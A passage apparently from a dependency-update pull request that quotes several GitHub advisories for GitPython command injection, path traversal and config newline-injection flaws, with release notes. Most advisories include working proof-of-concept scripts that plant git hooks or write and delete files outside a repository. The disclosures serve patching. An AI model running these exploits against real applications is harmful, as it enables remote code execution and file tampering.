          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@&#8203;classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.50`](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n###
          [`v3.1.49`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49)\n\n####
          What's Changed\n\n- reject control chars in written values in configuration
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2137](https://redirect.github.com/gitpython-developers/GitPython/pull/2137)\n-
          Improve pure Python rev-parse coverage and behavior  by [@&#8203;Copilot](https://redirect.github.com/Copilot)
          in [#&#8203;2136](https://redirect.github.com/gitpython-developers/GitPython/pull/2136)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49>\n\n###
          [`v3.1.48`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48):
          - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48)\n\nAccidentally
          deleted the previous GH release, it did mention the advisory this fixes.\n\n#####
          What's Changed\n\n- prevent out-of-repo access when manipulating references.
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2134](https://redirect.github.com/gitpython-developers/GitPython/pull/2134)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48>\n\n###
          [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
          - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
          Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
          <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
          What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
          Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
          DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
          in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
          Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
          Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
          fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
          in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
          Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
          Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
          Fix `Repo.active_branch` resolution for reftable-backed repositories by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
          in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
          in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
          in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
          Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          Harden commit trailer subprocess handling and align trailer I/O paths by
          [@&#8203;Copilot](https://redirect.github.com/Copilot) in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
          git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
          in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          Make sure that multi-options are checked after splitting them with `shlex`
          by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
          Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
          New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
          made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
          [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
          contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
          [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
          contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
          [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first
          contribution in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
          [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
          contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
          [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
          first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
          [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
          made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
          [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
          contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
          [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
